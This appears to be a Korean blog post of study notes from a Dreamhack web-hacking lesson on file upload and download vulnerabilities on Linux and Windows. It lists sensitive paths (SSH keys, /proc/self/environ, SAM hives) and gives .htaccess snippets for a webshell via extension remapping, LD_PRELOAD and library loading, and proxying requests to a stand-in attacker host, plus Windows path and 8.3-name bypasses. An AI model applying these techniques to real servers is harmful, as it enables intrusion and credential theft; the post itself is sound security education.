[WEBHACKING] 드림핵 웹해킹 - File Vulnerability Advanced

jckim22·2022년 11월 12일
0

최근의 서비스를 들여다보면 첨부 파일 기능이 제공되는 것을 볼 수 있습니다. 첨부 파일은 게시물의 사진 및 동영상 또는 과제 및 업무에 관련된 파워 포인트, 워드 파일 등이 포함됩니다. 일반 이용자는 이러한 기능을 통해 이용자 간 소통을 이끌어내고 정보를 수집합니다. 만약 이렇게 첨부한 파일에 대한 검사가 미흡한 경우 파일 업로드 및 다운로드 취약점이 발생할 수 있습니다. 해당 취약점이 발생하면 공격자는 이를 통해 서버 내의 민감한 정보를 수집하고, 임의 코드를 실행하는 것 또한 가능합니다.

File Vulnerabilities for Linux

파일 시스템

파일 시스템

유닉스 계열의 운영 체제는 “everything is a file”, 즉 장치, 프로세스 등 다양한 객체들을 파일 시스템을 통해 제어하는 특징을 가지는데, 이는 곧 파일 업로드 및 다운로드 취약점이 발생할 경우 큰 영향을 끼칠 수 있다는 것을 의미합니다.

우리가 아는 파일은 디스크에 저장되지만 저장되지 않고 가상 파일 시스템에 위치해 특정 기능을 제공하는 가상 파일 또한 존재합니다. 파일과 관련된 취약점을 공격하는 방법을 알아보기에 앞서 리눅스 파일 시스템에 대해 먼저 알아보겠습니다.

로그 및 데이터 파일

운영 체제 및 서비스의 로그와 각종 문서가 저장되는 위치를 의미합니다.

/var/www

웹 문서 및 기타 웹 서버에서 사용되는 파일을 저장합니다.

/var/lib

시스템의 각종 서비스에서 자료를 저장할 때 사용합니다. 데이터베이스 등이 이에 속합니다.

/var/lib/mysql

MySQL 데이터베이스의 데이터가 저장됩니다.

/var/lib/pgsql, /var/lib/postgresql

PostgreSQL 데이터베이스의 데이터가 저장됩니다.

/var/log

시스템 서비스 등의 로그를 저장할 때 사용합니다. 웹 서버 로그가 보통 여기에 위치합니다.

/var/cache

캐시 데이터를 저장합니다. 일반적으로 삭제되어도 재생성이 가능합니다.

/media

제거 가능한 매체 (USB 플래시 메모리, 기타 이동 저장장치 등)를 마운트할 떄 주로 사용됩니다.

/mnt

기타 파일시스템을 임시로 마운트하는 용도로 주로 사용됩니다.

설정 파일

운영 체제 및 서비스를 구성하는 설정 파일을 의미합니다.

/etc

운영체제 초기 부팅 시 필요한 최소한의 명령어를 구현하는 프로그램 파일을 저장합니다.

/etc/apache2, /etc/httpd

Apache Web Server의 설정 정보를 저장합니다.

/etc/nginx

Nginx 웹 서버의 설정 정보를 저장합니다.

/etc/mysql

MySQL 데이터베이스 서버의 설정 정보를 저장합니다.

/opt/etc

추가적으로 설치된 프로그램의 설정 정보를 저장합니다. 존재하지 않을 수도 있습니다.

/etc/mysql/my.cnf

MySQL 데이터베이스 서버의 주 설정파일입니다.

/etc/passwd, /etc/group

사용자 및 그룹 정보를 저장합니다.

/etc/shadow, /etc/gshadow

사용자 및 그룹의 인증 비밀번호를 암호화하여 저장합니다. 일반적으로 관리자 및 권한 있는 프로그램만이 접근할 수 있습니다.

/etc/hostname

현재 시스템의 호스트네임을 저장합니다.

/etc/hosts

호스트네임의 실주소를 탐색할 때 사용되는 정적 순람표입니다.

/etc/fstab

현재 시스템에 등록할 파일시스템의 목록을 저장합니다.

장치 및 가상 파일

운영 체제를 구성하기 위한 파일을 의미합니다. 각각의 파일은 커널 기능과 밀접한 관련이 있습니다.

/dev

각종 디스크 및 장치 파일을 제공합니다.

/sys

하드웨어(주변기기 등) 및 플랫폼에 접근할 수 있도록 합니다.

/proc

프로세스 및 시스템 정보를 제공하는 가상 파일시스템이 위치합니다.

/proc/sys

운영체제의 동작을 제어할 수 있는 각종 파라미터가 위치합니다.

/proc/self/net (또는 /proc/net)

운영체제 네트워크 계층의 다양한 정보를

/dev/null, /dev/zero, /dev/full /dev/random, /dev/urandom

실제 물리적인 장치를 나타내지는 않지만 자주 사용되는 특수 파일입니다.

/dev/pts

유사터미널(pseudoterminal) TTY 장치가 위치한 디렉터리로 SSH 터미널 또는 터미널 에뮬레이터 등에서 사용됩니다.

/dev/stdin -> /proc/self/fd/0

파일 디스크립터 0, 즉 표준 입력(standard input)에 사용된 파일을 나타내는 심볼릭 링크입니다.

/dev/stdout -> /proc/self/fd/1

파일 디스크립터 1, 즉 표준 출력(standard output)에 사용된 파일을 나타내는 심볼릭 링크입니다.

/dev/stderr -> /proc/self/fd/2

파일 디스크립터 2, 즉 표준 오류 출력(standard error)에 사용된 파일을 나타내는 심볼릭 링크입니다.

프로그램 및 라이브러리

프로그램의 명령어가 저장된 위치와 이들을 실행하기 위한 라이브러리의 위치입니다.

/bin, /sbin

운영체제 초기 부팅 시 필요한 최소한의 명령어를 구현하는 프로그램 파일을 저장합니다.

/boot

커널이나 부트로더 옵션 등 부팅에 필요한 파일을 저장합니다.

/lib, /lib64, /libx32

운영체제 초기 부팅 시 필요한 최소한의 라이브러리 파일을 저장합니다.

/opt

추가적인 프로그램을 저장합니다.

/usr/bin

각종 명령어 및 프로그램 파일을 저장합니다.

/usr/sbin

시스템 관리자가 주로 사용하는 각종 명령어 및 프로그램 파일을 저장합니다.

/usr/lib, /usr/lib64, /usr/libx32

시스템에서 공유되는 라이브러리 파일을 저장합니다.

/usr/share

기타 시스템에서 공유되는 파일을 저장합니다.

임시 파일

운영 체제 및 서비스에서 사용하는 임시 디렉터리 또는 파일을 의미합니다.

/tmp

임시 파일을 저장합니다. 시스템 재시작(재부팅) 시 저장한 파일이 삭제될 수 있으며, 용량에 상당한 제한이 있을 수 있습니다. 디스크 또는 메모리 상(tmpfs)에 존재할 수 있습니다.

/var/tmp

임시 파일을 저장합니다. 시스템 재시작(재부팅)시에도 일반적으로 유지됩니다.

/run (/var/run)

부팅 후 생성된 각종 런타임 데이터 및 IPC 소켓 등이 이곳에 위치합니다. 일반적으로 디스크에 저장되지 않고 메모리 상에서만 존재합니다(tmpfs).

/var/run/postgresql

PostgreSQL 소켓 등이 위치합니다.

/var/run/mysql

MySQL 소켓 등이 위치합니다.

/dev/shm

Linux shm_open(3) C 라이브러리 함수에서 사용됩니다. 일반적으로 디스크에 저장되지 않고 메모리 상에서만 존재합니다(tmpfs). 시스템에 따라 존재하지 않을 수 있습니다.

파일 업로드 공격

파일 업로드 공격

일반적으로 웹 서비스는 root 권한이 아닌 www-data, nginx, apache와 같이 일반 계정으로 실행됩니다. 만약 웹 서비스가 root 권한으로 실행된다면 파일 업로드 취약점이 발생했을 때 파일 시스템에 존재하는 대부분의 파일을 덮어쓸 수 있게 됩니다. 웹 서비스가 root 권한이 아닌 일반 권한으로 실행되면 파일 업로드 공격으로부터 피해를 최소화 할 수 있습니다. 그러나 웹 서버의 파일 시스템 구조를 이해하고 있다면 일반 권한으로 덮어쓸 수 있는 파일을 덮어써서 임의 코드를 실행할 수 있습니다.

그렇다면 다음 장에서 일반 권한으로 임의 코드를 실행하는 방법에 대해서 알아보겠습니다.

Apache Web Server

아파치 (Apache) 웹 서버는 일반적으로 /etc/apache2 또는 /etc/httpd 디렉터리에서 설정 파일을 관리합니다. 그러나 해당 설정 파일 내에서 AccessFileName 지시어를 사용하면 설정 파일을 분산하여 관리할 수 있습니다. 아파치가 설정될 때의 기본 값은 .htaccess 입니다. 해당 파일에서 모든 설정을 변경할 수 있는 것은 아니며, AllowOverride와 AllowOverrideList 지시어를 통해 명시한 지시어만 사용할 수 있습니다.

.htaccess 파일은 웹 서버의 권한만 있다면 덮어쓸 수 있습니다. 따라서 해당 파일을 사용하는 웹 서버에서 파일 업로드 취약점이 발생하면 다양한 행위가 가능합니다. 아래에서 공격하는 방법에 대해서 설명합니다.

웹셸

“.php” 확장자 이외의 다른 확장자를 PHP 스크립트로 해석하도록 설정을 변경합니다. Figure1을 살펴보면, webshell-dreamhack.jpg”에 대한 요청이 들어오면 setHandler에 의해 명시된 핸들러가 처리합니다.

Figure 1. 확장자 우회

<Files "webshell-dreamhack.jpg">
    # php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
    SetHandler "proxy:unix:/run/php-fpm/www.sock|fcgi://localhost"
    # Apache2 자체 mod_php를 사용하는 경우
    SetHandler application/x-httpd-php
</Files>

동적 라이브러리 삽입

리눅스에서 CGI 스크립트를 사용하는 경우 Figure2와 같은 지시어를 통해 악의적인 동적 라이브러리를 프로세스에 삽입할 수 있습니다.

Figure 2. 동적 라이브러리 삽입

SetEnv LD_PRELOAD /var/www/path/to/my/injected/library.so

요청 리다이렉트

모든 요청을 공격자의 웹서버로 전달합니다. 요청 중에 계정 정보를 포함한 민감한 정보가 포함되어 있다면 이를 또 다른 목적으로 사용할 수 있습니다.

Figure 3. 공격자 서버 리다이렉트

RewriteEngine On
RewriteOptions inherit
# mod_proxy_fcgi를 사용하는 경우 FastCGI 서버로 요청 프록시
RewriteRule (.*) fcgi://attacker.dreamhack.io.$1 [P]
# mod_proxy_http를 사용하는 경우 HTTP 서버로 요청 프록시
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [P]
# HTTP Redirect 사용
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [R=302,L]
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io/

공유 라이브러리 로드

“/etc/apache2” 디렉터리 내 파일들을 조작할 수 있다면 Figure4와 같이 미리 업로드 한 라이브러리 파일을 로드해 임의 코드를 실행할 수 있습니다. 변경된 설정 파일을 웹 서버에 반영하기 위해서는 서비스가 재시작되어야 합니다.

Figure 4. 공유 라이브러리 로드

LoadFile "/var/www/path/to/my/inejcted/library.so"

설정 파일

다음은 일반 권한으로 접근할 수 있는 파일을 나열한 표입니다. 나열된 항목 중 “~/.profile”과 “~/.ssh/authorized_keys”는 관리자가 로그온하는 계정과 웹 서버의 계정이 같을 때에만 사용할 수 있습니다.

.htaccess

Apache Web Server에서 웹 문서 디렉터리 내 서버 설정을 제어할 수 있습니다.

~/.bashrc, ~/.profile

사용자 로그온 시 실행되는 셸 명령을 지정합니다.

~/.ssh/authorized_keys

해당 사용자에 로그인할 수 있는 SSH 공개키를 지정합니다. 공격자의 SSH 공개키를 추가하면 공격자가 시스템에 로그인할 수 있게 됩니다.

~/.ssh/config

SSH 클라이언트 설정 파일입니다. 접속할 Host 등을 지정하여 악의적인 Host로 리다이렉트 할 수 있습니다.

루트 권한

웹 서버가 root 권한으로 실행되고 있거나 임의의 경로로 해당 권한을 획득했다면 파일 업로드 취약점으로 시스템을 장악할 수 있습니다. 다음은 root 권한으로 공격 시 이용할 수 있는 파일을 나열한 표입니다.

파일

/boot/initramfs-X.Y.Z.img

부팅 시 초기에 사용되는 파일을 저장한 이미지 파일입니다. 부팅 중 시스템 파티션으로 전환되면서 삭제되기 때문에 악성 코드 등이 삽입되면 관리자가 탐지하지 못하는 경우도 있습니다.

/etc/rc.local

시스템 부팅 시 실행되는 명령을 지정합니다.

/etc/crontab

시스템 부팅 후 주기적으로 실행되는 명령을 지정합니다.

/etc/profile

사용자가 로그인 할 때마다 실행되는 명령을 지정합니다.

디렉터리

/sys/firmware/efi/efivars

EFI 시스템에서 부팅 옵션을 변경할 수 있습니다. 실제 형식은 EFI 표준에 따라야 하나 강의 범위 밖이므로 설명하지 않습니다.

/etc/profile.d

사용자가 로그인 할 때마다 실행되는 명령을 지정하는 스크립트를 저장하는 디렉터리입니다.

/proc, /sys

루트 권한에서 시스템 제어 시에 사용할 수 있는 각종 파일을 저장합니다.

파일 다운로드 공격

파일 다운로드 취약점은 개인 정보를 포함한 민감한 정보를 수집하는 데에 이용할 수 있습니다. 예를 들어, 데이터 베이스, 운영 체제 계정 정보, 방화벽 규칙 정보, 소스 코드 등이 이에 포함될 수 있습니다. 모든 공격은 서비스를 운용하는 운영 체제의 정보를 알아내는 것으로 시작되는데, 파일 다운로드 취약점이 발생할 때 어떤 파일이 공격에 유용하게 쓰일 수 있는지 알아보도록 하겠습니다.

시스템 가상 파일

다음은 일반 권한으로 접근할 수 있는 시스템 가상 파일 및 심볼릭 링크를 나열한 표입니다.

/proc/cpuinfo

시스템 CPU 정보를 조회할 수 있습니다.

/proc/uptime

시스템의 구동 시간을 조회할 수 있습니다.

/proc/version

시스템 커널 버전 정보를 조회할 수 있습니다.

/proc/self/net/arp, /proc/net/arp

내부망에 연결된 호스트들의 정보를 조회할 수 있습니다. 각 IP 주소별 MAC 주소를 출력합니다.

/proc/self/net/route, /proc/net/route

게이트웨이 등 기본 라우팅 테이블을 조회할 수 있습니다.

/proc/self/net/tcp, /proc/net/tcp

현재 시스템상에 존재하는 TCP 연결 정보를 조회할 수 있습니다.

/proc/self/fd/<FD>, /dev/fd/<FD>

파일 디스크립터 <FD> 가 가리키는 파일을 나타내는 심볼릭 링크(symbolic link)입니다.
현재 열린 파일을 조회하고 읽거나 쓸 수 있습니다.

/proc/self/cmdline, /proc/self/environ

각각 현재 프로세스의 명령줄 및 환경 변수를 가져옵니다.
Docker 등을 사용하는 웹 앱의 경우 암호키나 비밀번호(secret)를 환경변수로 저장하는 경우가 많습니다. 따라서 환경변수를 유출하면 민감 정보를 획득할 수 있게 됩니다.

/proc/self/exe

현재 프로세스의 실행 파일을 가리키는 심볼릭 링크입니다.

/proc/self/cwd

현재 디렉터리(current working directory)를 가리키는 심볼릭 링크입니다.

/proc/self/maps

현재 프로세스의 메모리 매핑과 사용 중인 동적 라이브러리의 파일명을 불러옵니다.

설정 파일

다음은 일반 권한으로 접근할 수 있는 파일을 나열한 표입니다. 프로필 및 SSH 키 등은 관리자가 로그온하는 계정과 웹 서버의 계정이 같을 때 사용할 수 있습니다.

~/.bash_history, ~/.zsh_history, ~/.python_history

사용자가 입력한 쉘 명령 및 및 인터프리터 명령 기록을 저장합니다.

~/.ssh/id_rsa, ~/.ssh/id_ed25519

사용자의 SSH 비밀키가 위치합니다.

~/.gnupg

GNU Privacy Guard 설정 파일 및 비밀키 등이 위치합니다.

~/.netrc

FTP 서버 연결 비밀번호 등을 설정하는 파일입니다.

~/.viminfo

Vim 에디터로 편집한 파일 목록 등이 저장됩니다.

로그 파일

다음은 서버에서 사용자의 접속 기록 등을 저장하는 로그 파일의 위치를 나열한 표입니다.

/var/log/apache2, /var/log/httpd

Apache Web Server의 로그가 저장됩니다. 웹 서비스 접속 기록은 access.log 에 저장되며, 에러 기록은 error.log 에 저장됩니다.

/var/log/nginx

Nginx 웹 서버의 로그가 저장됩니다.

/var/log/php-fpm

FastCGI 기반 PHP 로그가 저장됩니다.

/var/log/journal

systemd 기반 시스템의 로그가 저장되는 디렉터리입니다.

/var/log/wtmp, /var/log/btmp, /var/log/lastlog

마지막 접속 날짜 등 사용자 접속 기록이 저장됩니다.

File Vulnerabilities for Windows

실제로 운용되고 있는 웹 서비스 중 대다수의 서버가 유닉스 계열의 운영 체제를 사용하고 있지만 윈도우 운영 체제의 수요가 없는 것은 아닙니다. 윈도우에서는 기본적으로 내장 웹 서버를 제공하고, 아파치와 nginx 등의 웹 서버를 설치해 사용할 수 있습니다. 윈도우는 과거에 개발된 DOS 프로그램과 유닉스 운영 체제와의 호환성을 위해 다양한 경로 표기법이 존재합니다. 개발자는 이를 통해 호환성과 유연한 서비스를 보장하는 프로그램을 개발할 수 있으며, 공격자의 입장에서는 경로 표기 문자 검사를 우회하고 공격할 수 있습니다.

파일 시스템

윈도우 (Windows)는 기본적으로 마이크로소프트 Internet Information Services (IIS) Server 내장 웹 서버를 제공합니다. 이 뿐만 아니라 아파치 웹 서버, 그리고 nginx 등의 소프트웨어를 선택해 사용할 수 있습니다.

윈도우는 리눅스와 달리 드라이브를 지정할 수 있습니다. 일반적으로 윈도우를 구성하고, 애플리케이션 파일 등의 중요한 파일들은 C 드라이브에 위치합니다. 또한 윈도우는 파일 시스템 접근만으로는 시스템 제어가 어렵습니다. 앞서 다룬 유닉스 계열의 운영 체제는 대부분이 파일로 구성되어 있어 파일에 접근하는 것으로도 특정 기능을 수행할 수 있었던 반면, 윈도우 기반의 NT 아키텍처는 VMS 계열의 운영 체제에 영향을 받았기 때문에 객체 지향 인터페이스를 사용합니다. 따라서 기능에 알맞는 API를 사용해야 합니다.

윈도우 특수 폴더는 아래 첨부한 링크에서 살펴볼 수 있으며, 윈도우의 파일 시스템에 대해서 자세히 알아보겠습니다.

📒 윈도우 특수 폴더

https://docs.microsoft.com/en-us/windows/win32/shell/knownfolderid

로그 및 데이터 파일

운영 체제 및 서비스의 로그와 각종 문서가 저장되는 위치를 의미합니다.

C:\inetpub

IIS 서비스에서 웹 문서 및 기타 웹 서버에서 사용하는 파일을 저장합니다.

C:\inetpub\wwwroot

IIS의 웹 문서가 저장되는 기본 경로입니다.

C:\ApacheXY\htdocs, C:\www

Apache Web Server에서 문서 경로로 흔히 사용되는 디렉터리입니다.

C:\Program Files

각종 프로그램 및 데이터를 저장할 때 사용합니다. 데이터베이스 등이 이에 속합니다.

C:\ProgramData

시스템의 각종 서비스에서 자료를 저장할 때 사용합니다. 데이터베이스 등이 이에 속합니다.

C:\ProgramData\MySQL\MySQL Server X.Y\Data

MySQL 데이터베이스의 데이터가 일반적으로 이곳에 저장됩니다.

C:\Program Files\PostgreSQL\X.Y\data

PostgreSQL 데이터베이스의 데이터가 일반적으로 이곳에 저장됩니다.

C:\Windows\System32\Winevt\Logs

윈도 이벤트 로그를 저장할 때 사용합니다.

C:\Windows\Prefetch

Superfetch 데이터를 저장합니다. 최근 사용한 애플리케이션 목록 등을 조회할 수 있습니다.

설정 파일

운영 체제 및 서비스를 구성하는 설정 파일을 의미합니다.

C:\Windows\System32\config

시스템 단위 레지스트리 하이브 파일이 저장됩니다.

C:\Boot

부팅 관련 파일을 저장합니다. EFI 기반 시스템에서는 EFI 시스템 파티션에 저장됩니다.

%UserProfile%\Ntuser.dat

%UserProfile% 프로필 디렉터리를 가진 사용자의 레지스트리가 저장됩니다.

%UserProfile%\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat

%UserProfile% 프로필 디렉터리를 가진 사용자의 확장자 연결 정보 및 COM 클래스 등이 저장됩니다.

C:\Windows\drivers\etc

hosts, services 와 같은 네트워크 관련 설정 파일을 저장합니다.

C:\Program Files\Apache Software Foundation\Apache<버전>\conf

Apache Web Server의 설정 정보를 저장합니다.

C:\Boot\BCD

Boot Configuration Data 파일이 위치합니다.

C:\ProgramData\MySQL\MySQL Server X.Y\my.ini

MySQL 데이터베이스 서버의 주 설정파일입니다.

C:\Windows\System32\drivers\etc\hosts

호스트네임의 실주소를 탐색할 때 사용되는 정적 순람표입니다.

프로그램 및 라이브러리

프로그램의 명령어가 저장된 위치와 이들을 실행하기 위한 라이브러리의 위치입니다.

디렉토리

C:\Program Files

각종 프로그램 및 데이터를 저장할 때 사용합니다. 데이터베이스 등이 이에 속합니다.

C:\Windows\System32

시스템 파일 및 DLL들이 위치합니다.

C:\Windows\SysWOW64

32비트 호환(Windows-on-Windows) 레이어상 시스템 파일 및 DLL들이 위치합니다.

장치 및 가상 파일

운영 체제를 구성하기 위한 파일을 의미합니다.

\.\

Win32 장치 파일을 접근하는 경로의 시작을 나타냅니다. NUL, CON 과 같은 기본 장치 이름은 시스템 라이브러리에서 자동으로 인식되어 \.\을 사용할 필요는 없습니다.

\?\

NT 객체 관리자 하위체계(Object Manager Subsystem, Ob)의 객체 및 심볼릭 링크 등을 접근하는 경로의 시작을 나타냅니다. 기본 경로는 \.\와 같습니다.

\?\GLOBALROOT\

실제 Object Manager의 최상위 경로를 접근하는 경로입니다.

\?\GLOBALROOT\Device

NT 장치 객체를 포함하는 디렉터리입니다.

\??\

\?\ 와 동일하게 사용할 수 있습니다. 단, 와일드카드 등의 문자가 다른 의미를 지니게 되어 주의가 필요합니다.

\<호스트명>\<공유명>\

네트워크상에 공유된 자원에 접근할 수 있느 UNC 경로를 나타냅니다.

장치 파일

NUL, CON, AUX, PRN, COM1, COM2, COM3, COM4, LPT1, LPT2, LPT3, LPT4

예약된(reserved) DOS 기본 장치 이름입니다. \.\NUL과 같이 사용할 수도 있습니다.

CON (\.\CON)

현재 콘솔 장치를 나타냅니다.

CONIN$ (\.\CONIN$)

현재 콘솔 입력 장치를 나타냅니다.

CONOUT$ (\.\CONOUT$)

현재 콘솔 출력 장치를 나타냅니다.

\?\GLOBALROOT\Device\HarddiskVolume<N>

다른 드라이브를 선택할 때 C:\ 와 같은 문법 대신 사용할 수 있습니다.

임시 파일

운영 체제 및 서비스에서 사용하는 임시 디렉터리를 의미합니다.

C:\Windows\Temp

임시 파일을 저장합니다.

%UserProfile%\AppData\Local\Temp

일반적으로 사용자별 임시 파일이 저장되는 경로입니다.

파일 업로드 공격

파일 업로드 공격

일반적으로 윈도우 웹 서버는 AUTHORITY\LocalService 또는 NT AUTHORITY\NetworkService 사용자 권한으로 실행됩니다. 웹 서비스가 높은 권한이 아닌 일반 권한으로 실행되면 파일 업로드 공격으로부터 피해를 최소화 할 수 있습니다. 그러나 웹 서버의 파일 시스템 구조를 이해하고 있다면 일반 권한으로 덮어쓸 수 있는 파일을 덮어써서 임의 코드를 실행할 수 있습니다.

그렇다면 다음 장에서 일반 권한으로 임의 코드를 실행하는 방법에 대해서 알아보겠습니다.

Apache Web Server

아파치 (Apache) 웹 서버는 일반적으로 C:\ApacheXY\htdocs 또는 C:\www 디렉터리에서 설정 파일을 관리합니다. 그러나 해당 설정 파일 내에서 AccessFileName 지시어를 사용하면 설정 파일을 분산하여 관리할 수 있습니다. 아파치가 설정될 때의 기본 값은 .htaccess 입니다. 해당 파일에서 모든 설정을 변경할 수 있는 것은 아니며, AllowOverride와 AllowOverrideList 지시어를 통해 명시한 지시어만 사용할 수 있습니다.

.htaccess 파일은 웹 서버의 권한만 있다면 덮어쓸 수 있습니다. 따라서 해당 파일을 사용하는 웹 서버에서 파일 업로드 취약점이 발생하면 다양한 행위가 가능합니다. 아래에서 공격하는 방법에 대해서 설명합니다.

웹셸

“.php” 확장자 이외의 다른 확장자를 PHP 스크립트로 해석하도록 설정을 변경합니다. Figure1을 살펴보면, webshell-dreamhack.jpg”에 대한 요청이 들어오면 setHandler에 의해 명시된 핸들러가 처리합니다.

Figure 1. 확장자 우회

<Files "webshell-dreamhack.jpg">
    # php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
    SetHandler "proxy:fcgi://localhost"
    # Apache2 자체 mod_php를 사용하는 경우
    SetHandler application/x-httpd-php
</Files>

요청 리다이렉트

모든 요청을 공격자의 웹서버로 전달합니다. 요청 중에 계정 정보를 포함한 민감한 정보가 포함되어 있다면 이를 또 다른 목적으로 사용할 수 있습니다.

Figure 2. 공격자 서버 리다이렉트

RewriteEngine On
RewriteOptions inherit
# mod_proxy_fcgi를 사용하는 경우 FastCGI 서버로 요청 프록시
RewriteRule (.*) fcgi://attacker.dreamhack.io.$1 [P]
# mod_proxy_http를 사용하는 경우 HTTP 서버로 요청 프록시
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [P]
# HTTP Redirect 사용
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [R=302,L]
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io/

공유 라이브러리

“C:\www” 디렉터리 내 파일들을 조작할 수 있다면 Figure3과 같이 미리 업로드 한 라이브러리 파일을 로드해 임의 코드를 실행할 수 있습니다. 변경된 설정 파일을 웹 서버에 반영하기 위해서는 서비스가 재시작되어야 합니다.

Figure 3. 공유 라이브러리 로드

LoadFile "C:\www\path\to\my\injected\library.dll"

시스템 파일

다음은 임의의 경로로 높은 권한을 획득했을 때 이용할 수 있는 시스템 파일을 나열한 표입니다.

C:\Windows\System32\config\systemprofile

NT AUTHORITY\SYSTEM 의 사용자 프로필 계정입니다. Linux의 /root 에 대응한다고 볼 수 있습니다.

C:\Windows\System32\config\System

C:\Windows\System32\config\System.alt

C:\Windows\System32\config\System.log

C:\Windows\System32\config\System.sav

HKEY_LOCAL_MACHINE\SYSTEM 레지스트리 키에 대응하는 하이브 파일입니다. 주요 시스템 설정 정보를 저장합니다.

C:\Windows\System32\config\Software

C:\Windows\System32\config\Software.log

C:\Windows\System32\config\Software.sav

HKEY_LOCAL_MACHINE\SOFTWARE 레지스트리 키에 대응하는 하이브 파일입니다. 설치된 소프트웨어에서 사용됩니다.

C:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM.log

C:\Windows\System32\config\SAM.sav

HKEY_LOCAL_MACHINE\SAM 레지스트리 키에 대응하는 하이브 파일입니다. 사용자 비밀번호 및 인증 정보 등을 저장합니다. SAM은 Security Account Manager의 약자입니다.

C:\Windows\System32\config\Security

C:\Windows\System32\config\Security.alt

C:\Windows\System32\config\Security.log

C:\Windows\System32\config\Security.sav

HKEY_LOCAL_MACHINE\Security 레지스트리 키에 대응하는 하이브 파일입니다. 윈도의 보안 데이터베이스를 저장합니다.

C:\Windows\System32\config\Default

C:\Windows\System32\config\Default.log

C:\Windows\System32\config\Default.sav

HKEY_USERS\DEFAULT 레지스트리 키 대응하는 하이브 파일입니다. 사용자별 레지스트리 키의 기본 구조를 지정합니다.

사용자 설정 파일

다음은 일반 권한으로 접근할 수 있는 설정 파일을 나열한 표입니다.

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

현재 사용자의 시작 프로그램 목록이 저장됩니다.

%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp

모든 로컬 사용자의 시작 프로그램 목록이 저장됩니다.

윈도우 파일 및 경로

윈도우 파일명

윈도우 운영 체제에서는 파일명 뒷부분에 '.' 또는 스페이스 문자가 포함될 경우 이를 자동으로 제거합니다. 예를 들어, Shell.php.. . . ...와 같은 파일명은 운영 체제에서 Shell.php로 해석합니다.

윈도우의 바탕이 되는 DOS 운영 체제에서는 파일명에 최대 8글자, 확장자를 최대 3 바이트까지 허용하며 '.' 문자를 허용하지 않았습니다. 또한, 파일명에 11 바이트의 고정 버퍼를 사용해 “ALICE.H”의 경우 “ALICE H “로 표현했습니다.

경로 변환

윈도우는 유닉스 계열의 운영 체제를 호환하기 위해 경로 구분 문자인 ‘/'를 '\’로 변환합니다. 공격자는 이를 이용해서 경로 검사를 우회할 수 있습니다. 예를 들어, 웹 서비스에서 파일과 관련된 취약점을 막기 위해 “\” 문자를 검사할 경우, “../../../file"과 같은 방법으로 검사를 우회하고 임의 파일에 접근할 수 있습니다. 단, “\?\” 문자열로 시작하는 경로에 대해서는 경로 문자 변환이 이뤄지지 않습니다. 다음은 경로 변환이 적용된 예시입니다.

윈도우 경로 표기

드라이브 및 디바이스 경로

윈도우 운영 체제는 파일의 경로를 다양하게 표현할 수 있습니다. 일반적으로 특정 파일에 접근할 때에는 “C:\Windows\System32”와 같이 “드라이브:\경로”로 표기합니다. 윈도우도 리눅스와 같이 상대 경로를 지원합니다. 상대 경로를 사용하면 “\” 문자를 포함하지 않고 다른 드라이브의 파일에 접근할 수 있습니다.

윈도우는 DOS 프로그램을 호환하기 위해 “=C:”, “=D:”와 같은 환경 변수를 통해 각각의 드라이브의 위치를 저장할 수 있습니다. 예를 들어, “=D:” 환경 변수에 “D:\Apache2\Bin”가 저장되어 있다면, “D:httpd.exe”를 입력해 “D:\Apache2\Bin\httpd.exe” 파일에 접근할 수 있습니다. 만약, 해당 환경 변수에 값이 할당되어있지 않다면 드라이브의 최상위 경로를 가리켜 “D:\httpd.exe”가 됩니다.

특정 경로에 접근하기 위해 NT Object Manager 네임스페이스 경로를 사용하는 방법도 있습니다. 이는 윈도우에서 미리 등록한 장치 및 드라이브의 예약어로, “\??\GBLOALROOT\Device\HarddiskVolumn[N]”과 같은 구문으로 볼륨을 지정할 수 있습니다. 또한, “\??\GLOBALROOT\SystemRoot”를 통해 “C:\Windows” 디렉터리에 접근할 수 있으며 웹 서버에 네트워크 공유 서비스가 존재할 때에는 “\?\127.0.0.1\c$\”와 같이 내부 서비스를 통해 파일에 접근할 수 있습니다.

이러한 기능은 윈도우 애플리케이션에서 특정 장치에 접근해야할 때 주로 사용합니다. 개발 목적 외에도 웹 애플리케이션의 타 디렉터리의 접근을 허용하지 않을 때 이를 우회하기 위한 목적으로 사용할 수 있습니다.

드라이브 및 디바이스 접근 방법

윈도우 운영 체제에서 사용하는 경로의 유형을 나열한 표입니다.


DOS 8.3 파일명

앞선 강의에서 DOS 운영 체제의 파일명은 8 바이트, 확장자 3 바이트를 포함해 최대 11 바이트 버퍼를 사용한다는 것을 언급했습니다. 이러한 방식의 정식 명칭은 DOS 8.3 파일명 ( 8.3 Filename ) 또는 짧은 파일명 ( Short Filename, SFN )이라고 불립니다.

윈도우 3.5 부터는 위와 같은 제약을 없앤 긴 파일명 ( Long Filename, LFN )을 지원합니다. 윈도우는 과거에 개발된 프로그램 및 기능을 호환합니다. 따라서 짧은 파일명을 호환하기 위해 긴 파일명에 8.3 파일명 별칭을 부여합니다. 예를 들어, “webshell.phtml”은 “WEBSHE1.PHT”로, “.htaccess”는 “HTACCE~1”로, “Web.config”는 “WEB~1.CON” 등으로 별칭이 따라 붙습니다. 공격자 입장에서는 별칭이 붙는다는 특징을 이용해 확장자를 검사하는 애플리케이션의 로직을 우회하고 공격할 수 있습니다.

윈도우에서는 “fsutil.exe 8dot3name” 명령어를 통해 별칭의 생성을 막을 수 있습니다. 그러나 해당 기능은 DOS 8.3 별칭에 의존하는 일부 프로그램에서 호환성 문제가 발생할 수 있기 때문에 사용하는데에 있어 각별한 주의가 필요합니다. 해당 유틸리티에 대한 자세한 사용법은 아래 첨부한 링크에서 확인해볼 수 있습니다.

📒 fsutil 사용법

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-8dot3name

별칭 부여 규칙

윈도우의 별칭 생성은 다음과 같은 규칙을 따르며, 다음 장에서 변환 과정을 실습해볼 수 있습니다.
